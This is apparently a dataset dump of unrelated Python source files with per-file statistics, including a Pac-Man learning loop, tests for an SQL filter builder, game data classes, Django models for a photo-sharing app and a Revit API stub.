draw_coins(player.coin_grid) oldstate = state action = player.getAction(state) new_state = player.take_action(action) for ghost in player.ghosts: if ghost.x == player.x and ghost.y == player.y: game_over = 1 if player.coin_grid[player.y][player.x] == 1: player.coin_grid[player.y][player.x] = 0 score += 10 eats = 1 if win_game(player.coin_grid) == 0: game_over = 1 win = 1 for ghost in player.ghosts: hasArrived = ghost.run(graph) if hasArrived: ghost.head_to_node(pick_next_node(graph, ghost.heading, ghost.depart), graph) hasArrived = ghost.run(graph) for ghost in player.ghosts: ghost.draw() player.draw() for ghost in player.ghosts: if ghost.x == player.x and ghost.y == player.y: game_over = 1 reward = get_reward(eats, game_over, win) # for f in player.featExtractor.getFeatures(oldstate, action, player.ghosts, player.coin_grid, player.grid): # print(f, player.featExtractor.getFeatures(oldstate, action, player.ghosts, # player.coin_grid, player.grid).get(f), # player.weights[f], reward) player.update(oldstate, action, new_state, reward) state = new_state if game_over: game_over, done = reset_game(score, done, win) pygame.display.flip() screen.blit(textsurface, (width + 20, 20)) screen.blit(scoresurface, (width + 20, 50)) fpsClock.tick(FPS)
34.504732
120
0.496709
2,042
10,938
2.582762
0.083252
0.173303
0.188851
0.204778
0.601441
0.536784
0.515169
0.482935
0.455631
0.449185
0
0.153244
0.322271
10,938
316
121
34.613924
0.558209
0.039587
0
0.444444
0
0
0.009436
0
0
0
0
0
0
1
0.032922
false
0
0.016461
0
0.098765
0.020576
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
04f7fdd453ebc261422524ab26579047f90a56a1
6,902
py
Python
tests.py
rvettori/qfilter
05fa9faa85540ada399621d6b54cd3af2e4c4ed6
[ "MIT" ]
1
2021-05-07T17:05:36.000Z
2021-05-07T17:05:36.000Z
tests.py
rvettori/qfilter
05fa9faa85540ada399621d6b54cd3af2e4c4ed6
[ "MIT" ]
null
null
null
tests.py
rvettori/qfilter
05fa9faa85540ada399621d6b54cd3af2e4c4ed6
[ "MIT" ]
null
null
null
import unittest from qfilter import qfilter class QFilterTest(unittest.TestCase): def setUp(self): pass def test_filter_eq(self): exp = qfilter(dict(field1__eq=2)) self.assertEqual('where "field1" = :field1__eq', exp.where) self.assertEqual({'field1__eq': 2}, exp.data) def test_filter_gt(self): exp = qfilter(dict(field1__gt=2)) self.assertEqual('where "field1" > :field1__gt', exp.where) self.assertEqual({'field1__gt': 2}, exp.data) def test_filter_gte(self): exp = qfilter(dict(field1__gte=2)) self.assertEqual('where "field1" >= :field1__gte', exp.where) self.assertEqual({'field1__gte': 2}, exp.data) def test_filter_lt(self): exp = qfilter(dict(field1__lt=2)) self.assertEqual('where "field1" < :field1__lt', exp.where) self.assertEqual({'field1__lt': 2}, exp.data) def test_filter_lte(self): exp = qfilter(dict(field1__lte=2)) self.assertEqual('where "field1" <= :field1__lte', exp.where) self.assertEqual({'field1__lte': 2}, exp.data) def test_filter_not(self): exp = qfilter(dict(field1__not=2)) self.assertEqual('where "field1" <> :field1__not', exp.where) self.assertEqual({'field1__not': 2}, exp.data) def test_filter_any(self): exp = qfilter(dict(field1__any='2,3')) self.assertEqual('where "field1" in :field1__any', exp.where) self.assertEqual({'field1__any': ('2', '3')}, exp.data) def test_filter_starts(self): exp = qfilter(dict(field1__starts=2)) self.assertEqual('where "field1" like :field1__starts', exp.where) self.assertEqual({'field1__starts': '2%'}, exp.data) def test_filter_istarts(self): exp = qfilter(dict(field1__istarts='a')) self.assertEqual( 'where upper("field1") like upper(:field1__istarts)', exp.where) self.assertEqual({'field1__istarts': 'a%'}, exp.data) def test_filter_ends(self): exp = qfilter(dict(field1__ends='abc')) self.assertEqual('where "field1" like :field1__ends', exp.where) self.assertEqual({'field1__ends': '%abc'}, exp.data) def test_filter_iends(self): exp = qfilter(dict(field1__iends='abc')) self.assertEqual( 'where upper("field1") like upper(:field1__iends)', exp.where) self.assertEqual({'field1__iends': '%abc'}, exp.data) def test_filter_cont(self): exp = qfilter(dict(field1__cont='abc')) self.assertEqual('where "field1" like :field1__cont', exp.where) self.assertEqual({'field1__cont': '%abc%'}, exp.data) def test_filter_icont(self): exp = qfilter(dict(field1__icont='abc')) self.assertEqual( 'where upper("field1") like upper(:field1__icont)', exp.where) self.assertEqual({'field1__icont': '%abc%'}, exp.data) def test_filter_default(self): exp = qfilter(dict(field1='abc')) self.assertEqual('where "field1" = :field1', exp.where) self.assertEqual({'field1': 'abc'}, exp.data) def test_conditions(self): exp = qfilter(dict(field1='abc', field2__any='x,y', field3__gte=7)) self.assertIn('"field1" = :field1', exp.sql) self.assertIn('"field2" in :field2__any', exp.sql) self.assertIn('"field3" >= :field3__gte', exp.sql) self.assertEqual({'field3__gte': 7, 'field1': 'abc', 'field2__any': ('x', 'y')}, exp.data) def test_and_space_between_condition(self): exp = qfilter(dict(field1='abc', field2_any='x,y', field3_gte=7)) self.assertRegex(exp.sql, r'\sand\s') def test_clause_from(self): exp = qfilter(dict(_from='table1')) self.assertEqual('select * from "table1"', exp.sql) self.assertEqual({}, exp.data) self.assertEqual('from "table1"', exp.from_) def test_clause_from_without_sanitize(self): exp = qfilter(dict(_from='table1'), sanitize_from=False) self.assertEqual('select * from table1', exp.sql) self.assertEqual('from table1', exp.from_) def test_without_quote_fields(self): self.maxDiff = None param = dict(_order='-field', _select='field',_from='table1', field__eq=123, field__gt=123, field__gte=123, field__lt=123, field__lte=123, field__not=123, field__any=123, field__starts=123, field__ends=123, field__istarts=123, field__iends=123, field__cont=123, field__icont=123) exp = qfilter(param, quote_fields=False) result = 'select field from table1 where field = :field__eq and field > :field__gt and field >= :field__gte and field < :field__lt and field <= :field__lte and field <> :field__not and field in :field__any and field like :field__starts and field like :field__ends and upper(field) like upper(:field__istarts) and upper(field) like upper(:field__iends) and field like :field__cont and upper(field) like upper(:field__icont) order by field desc' self.assertEqual(result, exp.sql) self.assertEqual('from table1', exp.from_) def test_clause_select(self): exp = qfilter(dict(_select='a,b,c', _from='table1')) self.assertEqual('select "a", "b", "c" from "table1"', exp.sql) self.assertEqual({}, exp.data) self.assertEqual('select "a", "b", "c"', exp.select) def test_clause_order(self): exp = qfilter(dict(_select='a,b,c', _from='table1', _order='a,-b')) self.assertEqual( 'select "a", "b", "c" from "table1" order by "a" asc, "b" desc', exp.sql) self.assertEqual({}, exp.data) self.assertEqual('order by "a" asc, "b" desc', exp.order) def test_sql(self): exp = qfilter( dict(_select='a,b,c', _from='table1', _order='a,-b', a__eq=1)) self.assertEqual( 'select "a", "b", "c" from "table1" where "a" = :a__eq order by "a" asc, "b" desc', exp.sql) self.assertEqual({'a__eq': 1}, exp.data) self.assertEqual('order by "a" asc, "b" desc', exp.order) def test_sanitized_select(self): exp = qfilter(dict(_select='trim(a)::bigint as show,b,c')) self.assertEqual('select "trimabigintasshow", "b", "c"', exp.select) def test_filter_with_empty_value(self): exp = qfilter(dict(field1__cont='')) self.assertEqual('', exp.where) self.assertEqual({}, exp.data) def test_filter_with_prefix(self): exp = qfilter({'q.field1__eq': 2}, prefix='q') self.assertEqual('where "field1" = :field1__eq', exp.where) self.assertEqual({'field1__eq': 2}, exp.data) exp = qfilter({'filter.field1__eq': 2}, prefix='filter') self.assertEqual('where "field1" = :field1__eq', exp.where) if __name__ == '__main__': unittest.main()
43.1375
451
0.625761
901
6,902
4.521643
0.100999
0.187776
0.082474
0.10162
0.668139
0.477909
0.293324
0.274178
0.229995
0.18434
0
0.029516
0.219502
6,902
159
452
43.408805
0.72675
0
0
0.140625
0
0.023438
0.261084
0.012605
0
0
0
0
0.429688
1
0.203125
false
0.007813
0.015625
0
0.226563
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
0
0
0
0
0
0
2
04f9d91d1945e0c7d710b66ae9f56406d8d6b757
2,677
py
Python
Dinos/Oviraptor/Oviraptor_Character_BP.Oviraptor_Character_BP.py
cutec-chris/sce-PrimalEarth
4e7a45acffc57a455a7668af1a954004668c3085
[ "MIT" ]
null
null
null
Dinos/Oviraptor/Oviraptor_Character_BP.Oviraptor_Character_BP.py
cutec-chris/sce-PrimalEarth
4e7a45acffc57a455a7668af1a954004668c3085
[ "MIT" ]
null
null
null
Dinos/Oviraptor/Oviraptor_Character_BP.Oviraptor_Character_BP.py
cutec-chris/sce-PrimalEarth
4e7a45acffc57a455a7668af1a954004668c3085
[ "MIT" ]
null
null
null
import sys,sce class Oviraptor_Character_BP(sce.Dinos): def __init__(self): super().__init__(self) name = 'Oviraptor' blueprintPath = '/Game/PrimalEarth/Dinos/Oviraptor/Oviraptor_Character_BP.Oviraptor_Character_BP' fullStatsRaw = [[140, 0.2, 0.27, 0.5, 0], [120, 0.1, 0.1, 0, 0], [125, 0.06, 0, 0.5, 0], [150, 0.1, 0.1, 0, 0], [900, 0.1, 0.1, 0, 0.15], None, None, [100, 0.02, 0.04, 0, 0], [1, 0.05, 0.1, 1, 0.4], [1, 0, 0.01, 1, 0.15], None, None] immobilizedBy = ['Bola', 'Bear Trap', 'Plant Species Y'] breeding = {'gestationTime': 0, 'incubationTime': 4090.58184, 'eggTempMin': 26, 'eggTempMax': 30, 'maturationTime': 75757.5758, 'matingCooldownMin': 64800, 'matingCooldownMax': 172800} colors = [{'name': 'Body', 'colors': ['Black', 'Dark Grey', 'Dino Dark Brown', 'Dino Dark Green', 'Dino Dark Orange', 'Dino Dark Red', 'Dino Dark Yellow', 'Dino Darker Grey', 'Dino Light Brown', 'Dino Light Green', 'Dino Light Orange', 'Dino Light Yellow', 'Dino Medium Brown', 'Dino Medium Green', 'Light Grey']}, {'name': 'Crest and Beak', 'colors': ['Black', 'Dark Grey', 'Dino Albino', 'Dino Dark Blue', 'Dino Dark Brown', 'Dino Dark Green', 'Dino Dark Orange', 'Dino Dark Purple', 'Dino Dark Red', 'Dino Dark Yellow', 'Dino Darker Grey', 'Dino Light Blue', 'Dino Light Brown', 'Dino Light Green', 'Dino Light Orange', 'Dino Light Purple', 'Dino Light Red', 'Dino Light Yellow', 'Dino Medium Brown', 'Dino Medium Green', 'Light Grey']}, {'name': 'Feathers', 'colors': ['Black', 'Dark Grey', 'Dino Dark Blue', 'Dino Dark Brown', 'Dino Dark Green', 'Dino Dark Orange', 'Dino Dark Purple', 'Dino Dark Red', 'Dino Dark Yellow', 'Dino Darker Grey', 'Dino Light Blue', 'Dino Light Brown', 'Dino Light Green', 'Dino Light Orange', 'Dino Light Purple', 'Dino Light Red', 'Dino Light Yellow', 'Dino Medium Brown', 'Dino Medium Green', 'Light Grey']}, None, {'name': 'Patterning', 'colors': ['Black', 'Dark Grey', 'Dino Dark Brown', 'Dino Dark Green', 'Dino Dark Orange', 'Dino Dark Red', 'Dino Dark Yellow', 'Dino Darker Grey', 'Dino Medium Brown', 'Dino Medium Green']}, {'name': 'Belly', 'colors': ['Black', 'Dino Light Blue', 'Dino Light Brown', 'Dino Light Green', 'Dino Light Orange', 'Dino Light Yellow', 'Dino Medium Brown', 'Dino Medium Green', 'Light Grey']}] taming = {'nonViolent': False, 'violent': True, 'tamingIneffectiveness': 16.66667, 'affinityNeeded0': 960, 'affinityIncreasePL': 42, 'torporDepletionPS0': 0.208, 'foodConsumptionBase': 0.001302, 'foodConsumptionMult': 768.0491} boneDamageAdjusters = {'c_head': 3, 'c_jaw': 3, 'c_neck3': 3} TamedBaseHealthMultiplier = 1 displayedStats = 927
178.466667
1,570
0.657452
376
2,677
4.635638
0.292553
0.110155
0.012048
0.054504
0.565118
0.551922
0.515777
0.515777
0.515777
0.515777
0
0.067819
0.157266
2,677
14
1,571
191.214286
0.704787
0
0
0
0
0
0.569294
0.037355
0
0
0
0
0
1
0.071429
false
0
0.071429
0
0.214286
0.071429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
04fc583994d4003b9dcb72c2c54cbb5209ae67e6
809
py
Python
random/test_ss.py
ValentynaGorbachenko/cd2
ad9e05092ddca9bfef29f185b23fdf5b22099e05
[ "MIT" ]
null
null
null
random/test_ss.py
ValentynaGorbachenko/cd2
ad9e05092ddca9bfef29f185b23fdf5b22099e05
[ "MIT" ]
null
null
null
random/test_ss.py
ValentynaGorbachenko/cd2
ad9e05092ddca9bfef29f185b23fdf5b22099e05
[ "MIT" ]
null
null
null
# test_ss.py import unittest from SelectionSort import sortSS class SelectionSortTest(unittest.TestCase): def test_empty_array(self): self.assertEqual(sortSS([]), []) def test_one_value_array(self): self.assertEqual(sortSS([2]), [2]) def test_sort1(self): self.assertEqual(sortSS([4,0,3,1,-1,2]), [-1,0,1,2,3,4]) def test_sort2(self): self.assertEqual(sortSS([2,-1]), [-1, 2]) def test_different_type_string(self): with self.assertRaises(TypeError): sortSS("string") def test_different_type_number(self): with self.assertRaises(TypeError): sortSS(3) def test_different_type_None(self): with self.assertRaises(TypeError): sortSS(None) if __name__ == '__main__': unittest.main()
25.28125
64
0.641533
103
809
4.796117
0.349515
0.09919
0.153846
0.202429
0.412955
0.236842
0
0
0
0
0
0.033333
0.221261
809
32
65
25.28125
0.750794
0.012361
0
0.136364
0
0
0.017544
0
0
0
0
0
0.318182
1
0.318182
false
0
0.090909
0
0.454545
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
b6c04e93eee7d101f05a3ea894326d8ad9f9d582
3,078
py
Python
src/compas_cem/optimization/proxy.py
dylau/compas_cem
643c7d60cb9d6a9999cb96d39c44175cc8662a25
[ "MIT" ]
null
null
null
src/compas_cem/optimization/proxy.py
dylau/compas_cem
643c7d60cb9d6a9999cb96d39c44175cc8662a25
[ "MIT" ]
null
null
null
src/compas_cem/optimization/proxy.py
dylau/compas_cem
643c7d60cb9d6a9999cb96d39c44175cc8662a25
[ "MIT" ]
null
null
null
from time import time __all__ = ["solve_nlopt_proxy"] # ------------------------------------------------------------------------------ # Optimization # ------------------------------------------------------------------------------ def solve_nlopt_proxy(topology, constraints, parameters, algorithm, iters, eps=None, tmax=100, eta=1e-6): """ Solve a constrained form-finding task through a Proxy server hyperspace tunnel. Parameters ---------- topology : :class:`compas_cem.diagrams.TopologyDiagram` A topology diagram. constraints : ``list`` A list with the constraints to optimize for. parameters : ``list`` A list of optimization parameters. algorithm : ``str`` The name of the gradient-based local optimization algorithm to use. Only the following local gradient-based optimization algorithms are supported: - SLSQP: Sequential Least Squares Programming - LBFGS: Low-Storage Broyden-Fletcher-Goldfarb-Shanno - AUGLAG: Augmented Lagrangian - MMA: Method of Moving Asymptotes - TNEWTON: Preconditioned Truncated Newton Refer to the NLopt `documentation <https://nlopt.readthedocs.io/en/latest/>`_ for more details on their theoretical underpinnings. iters : ``int`` The maximum number of iterations to run the optimization algorithm for. eps : ``float`` The numerical convergence threshold for the optimization algorithm. If value is set to ``None``, this parameter is ignored and the optimization algorithm will run until ``iters`` is exhausted. Defaults to ``None``. tmax : ``int``, optional The maximum number of iterations the CEM form-finding algorithm will run for. If ``eta`` is hit first, the form-finding algorithm will stop early. Defaults to ``100``. eta : ``float``, optional The numerical converge threshold of the CEM form-finding algorithm. If ``tmax`` is hit first, the form-finding algorithm will stop early. Defaults to ``1e-6``. Returns ------- form : :class:`compas_cem.diagrams.FormDiagram` A form diagram. """ # TODO: the optimizer import statement should be handled more elegantly from compas_cem.optimization import Optimizer optimizer = Optimizer() # add constraints for constraint in constraints: optimizer.add_constraint(constraint) # add parameters for parameter in parameters: optimizer.add_parameter(parameter) start = time() form = optimizer.solve_nlopt(topology, algorithm, iters, eps, tmax, eta) duration = time() - start objective = optimizer.penalty evals = optimizer.evals grad_norm = optimizer.gradient_norm status = optimizer.status return form, objective, grad_norm, evals, duration, status # ------------------------------------------------------------------------------ # Main # ------------------------------------------------------------------------------ if __name__ == "__main__": pass
35.790698
138
0.608512
325
3,078
5.683077
0.430769
0.029778
0.043313
0.038982
0.119112
0.060639
0.060639
0.060639
0.060639
0.060639
0
0.004137
0.21475
3,078
85
139
36.211765
0.760033
0.688434
0
0
0
0
0.031606
0
0
0
0
0.011765
0
1
0.052632
false
0.052632
0.105263
0
0.210526
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
1
0
0
0
0
0
2
b6e922c8e0577f91c0a7045614d546ec61e33257
959
py
Python
src/exojax/utils/instfunc.py
dcmvdbekerom/exojax
9b9305f8e383c73bdb97c1cfb0e276ddafcd75de
[ "MIT" ]
null
null
null
src/exojax/utils/instfunc.py
dcmvdbekerom/exojax
9b9305f8e383c73bdb97c1cfb0e276ddafcd75de
[ "MIT" ]
null
null
null
src/exojax/utils/instfunc.py
dcmvdbekerom/exojax
9b9305f8e383c73bdb97c1cfb0e276ddafcd75de
[ "MIT" ]
null
null
null
"""Utility Functions about Instruments """ import numpy as np from exojax.utils.constants import c def R2STD(R): """ compute Standard deveiation of Gaussian velocity distribution from spectral resolution Args: R: spectral resolution R Returns: beta (km/s) standard deviation of Gaussian velocity distribution """ return c/(2.0*np.sqrt(2.0*np.log(2.0))*R) def resolution_eslog(nu): """spectral resolution for ESLOG Args: nu: wavenumber bin Returns: resolution """ return (len(nu)-1)/np.log(nu[-1]/nu[0]) def resolution_eslin(nu): """min max spectral resolution for ESLIN Args: nu: wavenumber bin Returns: min, approximate, max of the resolution """ return nu[0]/(nu[1]-nu[0]),((nu[-1]+nu[0])/2.0)/((nu[-1]-nu[0])/len(nu)),nu[-1]/(nu[-1]-nu[-2]) if __name__=="__main__": nus=np.linspace(1000,2000,1000) print(resolution_eslin(nus))
19.18
99
0.626694
138
959
4.275362
0.405797
0.035593
0.050847
0.040678
0.125424
0.025424
0
0
0
0
0
0.045576
0.222106
959
49
100
19.571429
0.745308
0.457769
0
0
0
0
0.018692
0
0
0
0
0
0
1
0.272727
false
0
0.181818
0
0.727273
0.090909
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
b6f4354e5a6e178100ecd9da35b7e373b1d01c81
805
py
Python
at16k/core/segment.py
epignatelli/at16k
d77800ae8f06d72bc083a215576d0b748c6e1612
[ "MIT" ]
147
2019-12-03T23:04:01.000Z
2022-02-22T07:17:55.000Z
at16k/core/segment.py
epignatelli/at16k
d77800ae8f06d72bc083a215576d0b748c6e1612
[ "MIT" ]
12
2019-12-06T16:28:15.000Z
2020-12-21T10:23:29.000Z
at16k/core/segment.py
epignatelli/at16k
d77800ae8f06d72bc083a215576d0b748c6e1612
[ "MIT" ]
21
2019-12-05T07:31:41.000Z
2021-09-09T17:37:41.000Z
""" Audio segment """ class Segment(): """ Audio segment """ def __init__(self, waveform, boundaries, sample_rate, channel): self._waveform = waveform self._boundaries = boundaries self._sample_rate = sample_rate self._channel = channel @property def waveform(self): """ Segment waveform """ return self._waveform @property def boundaries(self): """ Segment begin and end timestamp (in seconds) """ return self._boundaries @property def sample_rate(self): """ Sample rate """ return self._sample_rate @property def channel(self): """ Channel number (starts from 0) """ return self._channel
18.295455
67
0.546584
74
805
5.716216
0.310811
0.141844
0.099291
0
0
0
0
0
0
0
0
0.001931
0.356522
805
43
68
18.72093
0.814672
0.163975
0
0.222222
0
0
0
0
0
0
0
0
0
1
0.277778
false
0
0
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
b6f9a44c0a821224bc7d4b858c7dbdf82194341c
1,446
py
Python
server/utils/exceptions.py
stesla/arxcode
a0ebf7c4d310de8c1980a8ba2a48948a68bb5a0a
[ "MIT" ]
5
2019-03-16T08:26:53.000Z
2019-11-27T15:42:16.000Z
server/utils/exceptions.py
stesla/arxcode
a0ebf7c4d310de8c1980a8ba2a48948a68bb5a0a
[ "MIT" ]
7
2018-09-29T05:08:15.000Z
2021-06-10T21:35:32.000Z
server/utils/exceptions.py
stesla/arxcode
a0ebf7c4d310de8c1980a8ba2a48948a68bb5a0a
[ "MIT" ]
7
2018-09-19T21:11:29.000Z
2019-11-19T12:46:14.000Z
""" Exceptions for Arx! """ class WalrusJudgement(Exception): WALRUSFACTS = [ "Walruses hook their tusks on ice to rest in water.", "Walruses employ a tusk-based hierarchy; the bigger the better.", "Breaking a tusk usually means a walrus drops in social status.", "A mama walrus carries her calf for 16 months before giving birth.", "Walrus calves are born weighing between 100 to 170 pounds.", "Young walruses stay with their mother for about 5 years.", "A prehistoric walrus species had upper AND lower tusks, wow!", "The walrus' genus name (Odobenus) means 'Tooth-Walking Sea Horse'.", "The layer of blubber on a walrus is 6 inches thick.", "Walrus mouths create a high-suction vacuum powerful enough to crack clamshells.", "On land, walruses may sleep for 19 hours straight.", "Walruses sometimes stay awake at sea for three and a half straight days.", "Walrus tusks can grow over 3 feet in length.", "Walruses have 450 sensitive whiskers called vibrissae.", "Walruses can live to around 40 years old." ] def __init__(self, *args, **kwargs): from random import choice super(WalrusJudgement, self).__init__("Did you know? " + choice(self.WALRUSFACTS)) class CommandError(Exception): pass class PayError(CommandError): pass class ActionSubmissionError(CommandError): pass
37.076923
90
0.675657
190
1,446
5.1
0.689474
0.01032
0
0
0
0
0
0
0
0
0
0.016514
0.246196
1,446
38
91
38.052632
0.872477
0.01314
0
0.111111
0
0
0.622974
0
0
0
0
0
0
1
0.037037
false
0.111111
0.037037
0
0.259259
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
8e0128057eacaf8621688dadef4dca8a6e2c744d
2,162
py
Python
core/models.py
Paul-Ngigi/Instagram
b67ee1afcad9d4dcf79d291935d89e566ebeba45
[ "MIT" ]
null
null
null
core/models.py
Paul-Ngigi/Instagram
b67ee1afcad9d4dcf79d291935d89e566ebeba45
[ "MIT" ]
null
null
null
core/models.py
Paul-Ngigi/Instagram
b67ee1afcad9d4dcf79d291935d89e566ebeba45
[ "MIT" ]
null
null
null
from django.db import models from cloudinary.models import CloudinaryField from django.contrib.auth import get_user_model User = get_user_model() # Create your models here. class Post(models.Model): """ Class that holds post models """ image = CloudinaryField('post') caption = models.TextField(blank=True) user = models.ForeignKey(User, on_delete=models.PROTECT, related_name='user_posts') created_on = models.DateTimeField(auto_now_add=True) class Meta: ordering = ['-created_on'] def __str__(self): return str(self.pk) def save_post(self): self.save() def delete_post(self): self.delete() @classmethod def get_user(cls, username): profile = cls.objects.filter(user__username__icontains=username) return profile class Comment(models.Model): """ Class that holds comment models """ text = models.CharField(max_length=240) post = models.ForeignKey(Post, on_delete=models.CASCADE) user = models.ForeignKey(User, on_delete=models.CASCADE, editable=False) def __str__(self): return str(self.text) def save_comment(self): self.save() def delete_comment(self): self.delete() class Like(models.Model): """ Class that holds like models """ post = models.ForeignKey(Post, on_delete=models.CASCADE) user = models.ForeignKey(User, on_delete=models.CASCADE, editable=False) like = models.IntegerField(default=True, null=True, blank=True) def __str__(self): return str(self.is_like) def save_like(self): self.save() def delete_like(self): self.delete() class Follow(models.Model): """ Class that holds follow models """ user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='follow_follower', editable=False) followed = models.ForeignKey(User, on_delete=models.CASCADE, related_name='follow_followed') followed_on = models.DateTimeField(auto_now_add=True) updated_on = models.DateTimeField(auto_now=True) def __str__(self): return f"{self.user} --> {self.followed}"
25.139535
108
0.678076
270
2,162
5.225926
0.259259
0.079376
0.069454
0.089298
0.508859
0.356485
0.307583
0.231042
0.228207
0.228207
0
0.001757
0.210453
2,162
85
109
25.435294
0.824839
0.06753
0
0.291667
0
0
0.04399
0
0
0
0
0
0
1
0.229167
false
0
0.0625
0.083333
0.791667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
8e03777c5e79ad1d11b27f369d5600fec95c6644
3,284
py
Python
release/stubs.min/Autodesk/Revit/DB/__init___parts/FormattedTextRun.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
release/stubs.min/Autodesk/Revit/DB/__init___parts/FormattedTextRun.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
release/stubs.min/Autodesk/Revit/DB/__init___parts/FormattedTextRun.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
class FormattedTextRun(object, IDisposable): """ A structure that defines a single run of a formatted text. """ def Dispose(self): """ Dispose(self: FormattedTextRun) """ pass def ReleaseUnmanagedResources(self, *args): """ ReleaseUnmanagedResources(self: FormattedTextRun,disposing: bool) """ pass def __enter__(self, *args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self, *args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self, *args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __repr__(self, *args): """ __repr__(self: object) -> str """ pass BaselineStyle = property( lambda self: object(), lambda self, v: None, lambda self: None ) """Specifies the style of the text as related to the baseline position. Get: BaselineStyle(self: FormattedTextRun) -> TextBaselineStyle """ Bold = property(lambda self: object(), lambda self, v: None, lambda self: None) """Indicates whether this text run uses Bold text. Get: Bold(self: FormattedTextRun) -> bool """ IsValidObject = property( lambda self: object(), lambda self, v: None, lambda self: None ) """Specifies whether the .NET object represents a valid Revit entity. Get: IsValidObject(self: FormattedTextRun) -> bool """ Italic = property(lambda self: object(), lambda self, v: None, lambda self: None) """Indicates whether this text run uses Italic text. Get: Italic(self: FormattedTextRun) -> bool """ ListStyle = property(lambda self: object(), lambda self, v: None, lambda self: None) """Specifies the style of a paragraph if the paragraph is a list. Get: ListStyle(self: FormattedTextRun) -> TextListStyle """ NewLine = property(lambda self: object(), lambda self, v: None, lambda self: None) """Indicates whether this text run starts on a new line. Get: NewLine(self: FormattedTextRun) -> bool """ NewParagraph = property( lambda self: object(), lambda self, v: None, lambda self: None ) """Indicates whether this text run starts a new paragraph. Get: NewParagraph(self: FormattedTextRun) -> bool """ TabNumber = property(lambda self: object(), lambda self, v: None, lambda self: None) """For a text run that starts at a tab stop,this value indicates the number of the tab stop. Get: TabNumber(self: FormattedTextRun) -> int """ Text = property(lambda self: object(), lambda self, v: None, lambda self: None) """The text segment in this text run. Get: Text(self: FormattedTextRun) -> str """ Underlined = property( lambda self: object(), lambda self, v: None, lambda self: None ) """Indicates whether this text run uses Underlined text. Get: Underlined(self: FormattedTextRun) -> bool """
22.648276
221
0.628197
373
3,284
5.351206
0.227882
0.150301
0.09018
0.12024
0.425351
0.425351
0.425351
0.425351
0.425351
0.425351
0
0
0.258831
3,284
144
222
22.805556
0.820049
0.157125
0
0.322581
0
0
0
0
0
0
0
0
0
1
0.193548
false
0.193548
0
0
0.548387
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
8e0cd0fb2acaece527b174c78e277539003ee576
410
py
Python
python/test1.py
jhogsett/linkit
97f9a99d3829a33e1b31b6f14210a7af44306a0f
[ "MIT" ]
2
2018-01-07T23:40:48.000Z
2018-06-07T08:08:58.000Z
python/test1.py
jhogsett/linkit
97f9a99d3829a33e1b31b6f14210a7af44306a0f
[ "MIT" ]
1
2020-10-29T23:36:10.000Z
2020-10-29T23:36:10.000Z
python/test1.py
jhogsett/linkit
97f9a99d3829a33e1b31b6f14210a7af44306a0f
[ "MIT" ]
null
null
null
import serial import time s = None def setup(): global s s = serial.Serial("/dev/ttyS0", 57600) s.write("erase\0".encode()) def loop(): s.write("red\0".encode()) time.sleep(1) s.write("green\0".encode()) time.sleep(1) s.write("blue\0".encode()) time.sleep(1) s.write("orange\0".encode()) time.sleep(1) if __name__ == '__main__': setup() while True: loop()
12.424242
41
0.582927
62
410
3.725806
0.435484
0.12987
0.190476
0.277056
0.372294
0.298701
0.298701
0
0
0
0
0.046584
0.214634
410
32
42
12.8125
0.670807
0
0
0.2
0
0
0.12439
0
0
0
0
0
0
1
0.1
false
0
0.1
0
0.2
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
8e1c02ab80d93462ac1de963c17fe91263ea2eb6
1,263
py
Python
musicsort/web/api/MetadataObtainer.py
markoshorro/MusicSort
fc85ceeb8c06a3c7486645b4f4b924146de45734
[ "Apache-2.0" ]
null
null
null
musicsort/web/api/MetadataObtainer.py
markoshorro/MusicSort
fc85ceeb8c06a3c7486645b4f4b924146de45734
[ "Apache-2.0" ]
null
null
null
musicsort/web/api/MetadataObtainer.py
markoshorro/MusicSort
fc85ceeb8c06a3c7486645b4f4b924146de45734
[ "Apache-2.0" ]
null
null
null
